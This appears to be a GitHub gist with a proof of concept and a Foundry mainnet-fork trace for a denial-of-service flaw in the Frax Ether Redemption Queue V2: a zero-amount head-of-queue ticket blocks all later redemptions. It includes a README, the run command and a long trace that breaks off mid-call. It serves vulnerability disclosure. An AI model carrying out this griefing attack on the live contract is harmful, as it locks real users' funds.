-
Notifications
You must be signed in to change notification settings - Fork 205
Description
"
donnyoregon/FraxQueueDoS_Repro.t.sol Secret
Created 2 weeks ago
Clone this repository at <script src="https://gist.github.com/donnyoregon/077da021e0a2534dc811cb7ab96b40e6.js"></script>
Code
Revisions
1
Frax Queue DoS Reproduction (Mainnet Fork Verified)
README_FraxQueueDoS_PoC.md
Frax Ether Redemption Queue DoS – Zero-Amount Head Ticket Blocks All Redemptions
Mainnet-Fork Reproduction | Verified on-chain addresses
This Proof-of-Concept demonstrates a Denial-of-Service vulnerability in the Frax Ether Redemption Queue V2 deployed at:
Queue Contract (mainnet): 0xfDC69e6BE352BD5644C438302DE4E311AAD5565b
frxETH (mainnet): 0x5E8422345238F34275888049021821E8E08CAa1f
The issue:
A malicious actor can enter the redemption queue with a zero-amount ticket, which becomes the head of queue. Because the system enforces strict FIFO redemption (NotHeadOfQueue), all real users behind the attacker are permanently blocked, even after maturity.
This is true DoS because:
zero-value tickets never resolve
the attacker never redeems
victims behind attacker are never the head of queue
funds are locked indefinitely
What This PoC Shows
Attacker inserts a 0 frxETH ticket.
Victim inserts a valid 100 frxETH ticket behind attacker.
Time is advanced to full queue maturity (maxQueueLengthSeconds).
Victim attempts redemption.
Redemption fails, not due to maturity, but because attacker’s useless ticket blocks the head-of-queue forever.
Test File Used (included in test/FraxQueueDoS_Repro.t.sol)
The test performs exactly the above scenario against a mainnet fork and asserts that:
victim redemption should revert
revert is caused by queue head enforcement, not maturity
Running the PoC
export MAINNET_RPC="YOUR_RPC" forge test --match-test test_ZeroAmountHeadTicketBlocksVictimRedemption -vvvv
Summary of Impact
This PoC confirms:
✔ Permanent denial-of-service against all real redemptions
✔ Unbounded griefing attack
✔ Zero economic cost for attacker
✔ Funds of all subsequent users can be locked indefinitely
The vulnerability stems from unconditional queue-head enforcement, combined with:
acceptance of 0-value deposits
no garbage-collection for stuck entries
no minimum amount requirement
no mechanism to skip or invalidate useless tickets
Included Files in This Gist
test/FraxQueueDoS_Repro.t.sol – exploitable mainnet-fork test
frax_queue_dos_poc.log – full transaction trace (verbose)
frax_queue_dos_poc.log.gz – compressed trace
README_FraxQueueDoS_PoC.md – this explanation document
Together these provide a complete, reproducible reproduction of the DoS vulnerability.
frax_queue_dos_poc.log
No files changed, compilation skipped
Ran 1 test for test/FraxQueueDoS_Repro.t.sol:FraxQueueDoS_Repro
[PASS] test_ZeroAmountHeadTicketBlocksVictimRedemption() (gas: 757800)
Traces:
[788100] FraxQueueDoS_Repro::test_ZeroAmountHeadTicketBlocksVictimRedemption()
├─ [2362] 0xfDC69e6BE352BD5644C438302DE4E311AAD5565b::maxQueueLengthSeconds() [staticcall]
│ └─ ← [Return] 86400000 [8.64e7]
├─ [0] VM::prank(0x0000000000000000000000000000000000001337)
│ └─ ← [Return]
├─ [359025] 0xfDC69e6BE352BD5644C438302DE4E311AAD5565b::enterRedemptionQueue(0x0000000000000000000000000000000000001337, 0)
│ ├─ [2391] 0x5acAf61d339dd123e60ba450Ea38fbC49445007C::lendingPool() [staticcall]
│ │ └─ ← [Return] 0x00000000000000000000000024a1d1671a3bd1c3cabb9b10724a4127d84e1da0
│ ├─ [177008] 0x24A1d1671a3Bd1C3cABb9B10724a4127d84e1Da0::addInterestPrivileged(false)
│ │ ├─ [2159] 0x2fA48925696EbBF1F4Fc08228dA06021f1806544::getNewRate(4848, 0, 3164940920 [3.164e9]) [staticcall]
│ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000012dd510c00000000000000000000000000000000000000000000000000000000bca52a78
│ │ ├─ emit UpdateRate(: 316494092 [3.164e8], : 3164940920 [3.164e9], : 316494092 [3.164e8], : 3164940920 [3.164e9])
│ │ ├─ emit AddInterest(: 89315 [8.931e4], : 316494092 [3.164e8], : 0, : 0)
│ │ ├─ [131642] 0x5acAf61d339dd123e60ba450Ea38fbC49445007C::getConsolidatedEthFrxEthBalance(true, true)
│ │ │ ├─ [2405] 0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae::amoHelper() [staticcall]
│ │ │ │ └─ ← [Return] 0x000000000000000000000000823f92b5ff0062edc20f0545ec88f2f3c273ccbd
│ │ │ ├─ [104618] 0x823F92b5fF0062EDc20F0545ec88f2f3c273cCbd::getConsolidatedEthFrxEthBalancePacked(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ ├─ [2449] 0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae::poolAddress() [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000009c3b46c0ceb5b9e304fcd6d88fc50f7dd24b31bc
│ │ │ │ ├─ [19778] 0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae::getFullPoolInfo() [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000fafde12dc476c4913e29f47b4747860c148c5e4f000000000000000000000000ddcb7f0f73e55db95a9bc8f91476136a33d682810000000000000000000000009c3b46c0ceb5b9e304fcd6d88fc50f7dd24b31bc000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000000000000000000000005e8422345238f34275888049021821e8e08caa1f00000000000000000000000000000000000000000000000000000000000000db000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054b40b1f852bda00000
│ │ │ │ ├─ [2629] 0x5E8422345238F34275888049021821E8E08CAa1f::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [2534] 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [5793] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::coins(0) [staticcall]
│ │ │ │ │ ├─ [3121] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::coins(0) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
│ │ │ │ │ └─ ← [Return] 0x000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
│ │ │ │ ├─ [534] 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [3293] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::coins(1) [staticcall]
│ │ │ │ │ ├─ [3121] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::coins(1) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000005e8422345238f34275888049021821e8e08caa1f
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000005e8422345238f34275888049021821e8e08caa1f
│ │ │ │ ├─ [629] 0x5E8422345238F34275888049021821E8E08CAa1f::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [3618] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ ├─ [3446] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [2510] 0xFafDE12dC476C4913e29F47B4747860C148c5E4f::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [5069] 0xddCB7f0F73e55db95a9Bc8F91476136A33D68281::stakingAddress() [staticcall]
│ │ │ │ │ ├─ [2403] 0x7D54C53e6940E88a7ac1970490DAFbBF85D982f4::stakingAddress() [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x000000000000000000000000b4fdd7444e1d86b2035c97124c46b1528802da35
│ │ │ │ │ └─ ← [Return] 0x000000000000000000000000b4fdd7444e1d86b2035c97124c46b1528802da35
│ │ │ │ ├─ [2602] 0xB4fdD7444E1d86b2035c97124C46b1528802DA35::lockedLiquidityOf(0xddCB7f0F73e55db95a9Bc8F91476136A33D68281) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [3555] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::totalSupply() [staticcall]
│ │ │ │ │ ├─ [3389] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::totalSupply() [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000e01a4e695a8c7a77b8
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000e01a4e695a8c7a77b8
│ │ │ │ ├─ [18299] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::get_virtual_price() [staticcall]
│ │ │ │ │ ├─ [18133] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::get_virtual_price() [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000df0898792b66ccf
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000df0898792b66ccf
│ │ │ │ ├─ [1316] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::balances(0) [staticcall]
│ │ │ │ │ ├─ [1144] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::balances(0) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x000000000000000000000000000000000000000000000015f8697ad4a28de252
│ │ │ │ │ └─ ← [Return] 0x000000000000000000000000000000000000000000000015f8697ad4a28de252
│ │ │ │ ├─ [1316] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::balances(1) [staticcall]
│ │ │ │ │ ├─ [1144] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::balances(1) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000cb564e4ec2209404ae
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000cb564e4ec2209404ae
│ │ │ │ └─ ← [Return] 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
│ │ │ └─ ← [Return] 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009980654c12f47a3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009980654c12f47a3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
│ │ ├─ [4838] 0xfDC69e6BE352BD5644C438302DE4E311AAD5565b::ethShortageOrSurplus() [staticcall]
│ │ │ └─ ← [Return] 0
│ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000015ce3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000069332def0000000000000000000000000000000000000000000000000000000012dd510c00000000000000000000000000000000000000000000000000000000bca52a7800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
│ ├─ emit Transfer(param0: 0x0000000000000000000000000000000000000000, param1: 0x0000000000000000000000000000000000001337, param2: 29)
│ ├─ emit topic 0: 0x9f1fb12bdb3412f034e43c980b054581eec758481032f7d414831dd45ed99313
│ │ topic 1: 0x000000000000000000000000000000000000000000000000000000000000001d
│ │ topic 2: 0x0000000000000000000000000000000000000000000000000000000000001337
│ │ topic 3: 0x0000000000000000000000000000000000000000000000000000000000001337
│ │ data: 0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006e5989ef0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000026792e77ac61bd4fc8
│ ├─ [391] 0x5acAf61d339dd123e60ba450Ea38fbC49445007C::lendingPool() [staticcall]
│ │ └─ ← [Return] 0x00000000000000000000000024a1d1671a3bd1c3cabb9b10724a4127d84e1da0
│ ├─ [48470] 0x24A1d1671a3Bd1C3cABb9B10724a4127d84e1Da0::updateUtilization()
│ │ ├─ [44642] 0x5acAf61d339dd123e60ba450Ea38fbC49445007C::getConsolidatedEthFrxEthBalance(true, true)
│ │ │ ├─ [405] 0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae::amoHelper() [staticcall]
│ │ │ │ └─ ← [Return] 0x000000000000000000000000823f92b5ff0062edc20f0545ec88f2f3c273ccbd
│ │ │ ├─ [36618] 0x823F92b5fF0062EDc20F0545ec88f2f3c273cCbd::getConsolidatedEthFrxEthBalancePacked(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ ├─ [449] 0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae::poolAddress() [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000009c3b46c0ceb5b9e304fcd6d88fc50f7dd24b31bc
│ │ │ │ ├─ [3778] 0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae::getFullPoolInfo() [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000fafde12dc476c4913e29f47b4747860c148c5e4f000000000000000000000000ddcb7f0f73e55db95a9bc8f91476136a33d682810000000000000000000000009c3b46c0ceb5b9e304fcd6d88fc50f7dd24b31bc000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000000000000000000000005e8422345238f34275888049021821e8e08caa1f00000000000000000000000000000000000000000000000000000000000000db000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054b40b1f852bda00000
│ │ │ │ ├─ [629] 0x5E8422345238F34275888049021821E8E08CAa1f::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [534] 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [1293] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::coins(0) [staticcall]
│ │ │ │ │ ├─ [1121] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::coins(0) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
│ │ │ │ │ └─ ← [Return] 0x000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
│ │ │ │ ├─ [534] 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [1293] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::coins(1) [staticcall]
│ │ │ │ │ ├─ [1121] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::coins(1) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000005e8422345238f34275888049021821e8e08caa1f
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000005e8422345238f34275888049021821e8e08caa1f
│ │ │ │ ├─ [629] 0x5E8422345238F34275888049021821E8E08CAa1f::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [1618] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ ├─ [1446] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [510] 0xFafDE12dC476C4913e29F47B4747860C148c5E4f::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [569] 0xddCB7f0F73e55db95a9Bc8F91476136A33D68281::stakingAddress() [staticcall]
│ │ │ │ │ ├─ [403] 0x7D54C53e6940E88a7ac1970490DAFbBF85D982f4::stakingAddress() [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x000000000000000000000000b4fdd7444e1d86b2035c97124c46b1528802da35
│ │ │ │ │ └─ ← [Return] 0x000000000000000000000000b4fdd7444e1d86b2035c97124c46b1528802da35
│ │ │ │ ├─ [602] 0xB4fdD7444E1d86b2035c97124C46b1528802DA35::lockedLiquidityOf(0xddCB7f0F73e55db95a9Bc8F91476136A33D68281) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [1555] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::totalSupply() [staticcall]
│ │ │ │ │ ├─ [1389] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::totalSupply() [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000e01a4e695a8c7a77b8
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000e01a4e695a8c7a77b8
│ │ │ │ ├─ [6299] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::get_virtual_price() [staticcall]
│ │ │ │ │ ├─ [6133] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::get_virtual_price() [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000df0898792b66ccf
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000df0898792b66ccf
│ │ │ │ ├─ [1316] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::balances(0) [staticcall]
│ │ │ │ │ ├─ [1144] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::balances(0) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x000000000000000000000000000000000000000000000015f8697ad4a28de252
│ │ │ │ │ └─ ← [Return] 0x000000000000000000000000000000000000000000000015f8697ad4a28de252
│ │ │ │ ├─ [1316] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::balances(1) [staticcall]
│ │ │ │ │ ├─ [1144] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::balances(1) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000cb564e4ec2209404ae
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000cb564e4ec2209404ae
│ │ │ │ └─ ← [Return] 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
│ │ │ └─ ← [Return] 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009980654c12f47a3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009980654c12f47a3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
│ │ ├─ [838] 0xfDC69e6BE352BD5644C438302DE4E311AAD5565b::ethShortageOrSurplus() [staticcall]
│ │ │ └─ ← [Return] 0
│ │ └─ ← [Stop]
│ ├─ [11824] 0x5E8422345238F34275888049021821E8E08CAa1f::transferFrom(0x0000000000000000000000000000000000001337, 0xfDC69e6BE352BD5644C438302DE4E311AAD5565b, 0)
│ │ ├─ emit Approval(param0: 0x0000000000000000000000000000000000001337, param1: 0xfDC69e6BE352BD5644C438302DE4E311AAD5565b, param2: 0)
│ │ ├─ emit Transfer(param0: 0x0000000000000000000000000000000000001337, param1: 0xfDC69e6BE352BD5644C438302DE4E311AAD5565b, param2: 0)
│ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
│ └─ ← [Return] 29
├─ [0] VM::startPrank(0x000000000000000000000000000000000000cafE)
│ └─ ← [Return]
├─ [24675] 0x5E8422345238F34275888049021821E8E08CAa1f::approve(0xfDC69e6BE352BD5644C438302DE4E311AAD5565b, 100000000000000000000 [1e20])
│ ├─ emit Approval(param0: 0x000000000000000000000000000000000000cafE, param1: 0xfDC69e6BE352BD5644C438302DE4E311AAD5565b, param2: 100000000000000000000 [1e20])
│ └─ ← [Return] true
├─ [277651] 0xfDC69e6BE352BD5644C438302DE4E311AAD5565b::enterRedemptionQueue(0x000000000000000000000000000000000000cafE, 100000000000000000000 [1e20])
│ ├─ [391] 0x5acAf61d339dd123e60ba450Ea38fbC49445007C::lendingPool() [staticcall]
│ │ └─ ← [Return] 0x00000000000000000000000024a1d1671a3bd1c3cabb9b10724a4127d84e1da0
│ ├─ [50335] 0x24A1d1671a3Bd1C3cABb9B10724a4127d84e1Da0::addInterestPrivileged(false)
│ │ ├─ [44642] 0x5acAf61d339dd123e60ba450Ea38fbC49445007C::getConsolidatedEthFrxEthBalance(true, true)
│ │ │ ├─ [405] 0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae::amoHelper() [staticcall]
│ │ │ │ └─ ← [Return] 0x000000000000000000000000823f92b5ff0062edc20f0545ec88f2f3c273ccbd
│ │ │ ├─ [36618] 0x823F92b5fF0062EDc20F0545ec88f2f3c273cCbd::getConsolidatedEthFrxEthBalancePacked(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ ├─ [449] 0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae::poolAddress() [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000009c3b46c0ceb5b9e304fcd6d88fc50f7dd24b31bc
│ │ │ │ ├─ [3778] 0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae::getFullPoolInfo() [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000fafde12dc476c4913e29f47b4747860c148c5e4f000000000000000000000000ddcb7f0f73e55db95a9bc8f91476136a33d682810000000000000000000000009c3b46c0ceb5b9e304fcd6d88fc50f7dd24b31bc000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000000000000000000000005e8422345238f34275888049021821e8e08caa1f00000000000000000000000000000000000000000000000000000000000000db000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054b40b1f852bda00000
│ │ │ │ ├─ [629] 0x5E8422345238F34275888049021821E8E08CAa1f::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [534] 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [1293] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::coins(0) [staticcall]
│ │ │ │ │ ├─ [1121] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::coins(0) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
│ │ │ │ │ └─ ← [Return] 0x000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
│ │ │ │ ├─ [534] 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [1293] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::coins(1) [staticcall]
│ │ │ │ │ ├─ [1121] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::coins(1) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000005e8422345238f34275888049021821e8e08caa1f
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000005e8422345238f34275888049021821e8e08caa1f
│ │ │ │ ├─ [629] 0x5E8422345238F34275888049021821E8E08CAa1f::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [1618] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ ├─ [1446] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [510] 0xFafDE12dC476C4913e29F47B4747860C148c5E4f::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [569] 0xddCB7f0F73e55db95a9Bc8F91476136A33D68281::stakingAddress() [staticcall]
│ │ │ │ │ ├─ [403] 0x7D54C53e6940E88a7ac1970490DAFbBF85D982f4::stakingAddress() [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x000000000000000000000000b4fdd7444e1d86b2035c97124c46b1528802da35
│ │ │ │ │ └─ ← [Return] 0x000000000000000000000000b4fdd7444e1d86b2035c97124c46b1528802da35
│ │ │ │ ├─ [602] 0xB4fdD7444E1d86b2035c97124C46b1528802DA35::lockedLiquidityOf(0xddCB7f0F73e55db95a9Bc8F91476136A33D68281) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [1555] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::totalSupply() [staticcall]
│ │ │ │ │ ├─ [1389] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::totalSupply() [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000e01a4e695a8c7a77b8
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000e01a4e695a8c7a77b8
│ │ │ │ ├─ [6299] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::get_virtual_price() [staticcall]
│ │ │ │ │ ├─ [6133] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::get_virtual_price() [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000df0898792b66ccf
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000df0898792b66ccf
│ │ │ │ ├─ [1316] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::balances(0) [staticcall]
│ │ │ │ │ ├─ [1144] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::balances(0) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x000000000000000000000000000000000000000000000015f8697ad4a28de252
